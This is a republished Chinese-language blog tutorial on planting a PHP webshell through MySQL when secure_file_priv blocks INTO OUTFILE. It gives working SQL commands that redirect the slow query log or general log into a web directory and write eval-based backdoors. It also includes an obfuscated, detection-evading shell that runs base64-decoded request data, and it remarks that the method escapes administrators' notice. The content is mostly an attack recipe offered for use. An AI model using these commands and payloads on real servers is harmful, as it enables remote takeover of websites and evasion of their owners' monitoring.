mysql之突破secure_file_priv寫webshell


在某些情況下,當我們進入了一個網站的phpMyAdmin時,想通過select into outfile來寫shell,但是通常都會報錯。

 

 

 這是因為在mysql 5.6.34版本以后 secure_file_priv的值默認為NULL。並且無法用sql語句對其進行修改,只能夠通過以下方式修改

 

 

日志利用:

方法一:
慢查詢日志  (slow query log)
mysql也具有日志,我們也可以通過日志來getshell。

mysql日志主要包含:錯誤日志、查詢日志、慢查詢日志、事務日志,日志的詳細情況參考mysql日志詳細解析

我們主要利用慢查詢日志來寫shell,步驟大致分為三步:

1.設置slow_query_log=1.即啟用慢查詢日志(默認禁用)。

set global slow_query_log=1;

 

 2.偽造(修改)slow_query_log_file日志文件的絕對路徑以及文件名

set global slow_query_log_file='D:/phpStudy/PHPTutorial/WWW/hacker.php'

 

 3.向日志文件寫入shell

select '<?php eval($_POST[x]);?>' or sleep(11);

 

 4.用菜刀連接拿到shell

 

 Ps:
對慢查詢日志的補充:
因為是用的慢查詢日志,所以說只有當查詢語句執行的時間要超過系統默認的時間時,該語句才會被記入進慢查詢日志。

時間默認超過多少的稱為慢查詢日志?

一般都是通過long_query_time選項來設置這個時間值,時間以秒為單位,可以精確到微秒。如果查詢時間超過了這個時間值(默認為10秒),這個查詢語句將被記錄到慢查詢日志中。查看服務器默認時間值方式如下:

show global variables like '%long_query_time%'

 

通常情況下執行sql語句時的執行時間一般不會超過10s,所以說這個日志文件應該是比較小的,而且默認也是禁用狀態,不會引起管理員的察覺。

方法二:

一般查詢日志  (general log)
outfile被禁止,或者寫入文件被攔截
在數據庫中操作如下:(必須是root權限)
1.show variables like ‘%general%'; #查看配置
2.set global general_log = on; #開啟general log模式
3.set global general_log_file = ‘/var/www/html/1.php'; #設置日志目錄為shell地址
4.select ‘<?php eval($_POST[cmd]);?>’ #寫入shell
不成功的案例,如果mysql 被降權,是無法寫入到其他的站點目錄的,除非你的目標目錄是可以寫入的。
SQL查詢免殺shell的語句
SELECT “<?php $p = array(‘f’=>’a’,’pffff’=>’s’,’e’=>’fffff’,’lfaaaa’=>’r’,’nnnnn’=>’t’);$a = array_keys($p);$_=$p[‘pffff’].$p[‘pffff’].$a[2];$_= ‘a’.$_.’rt';$_(base64_decode($_REQUEST[‘username’]));?>”





免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM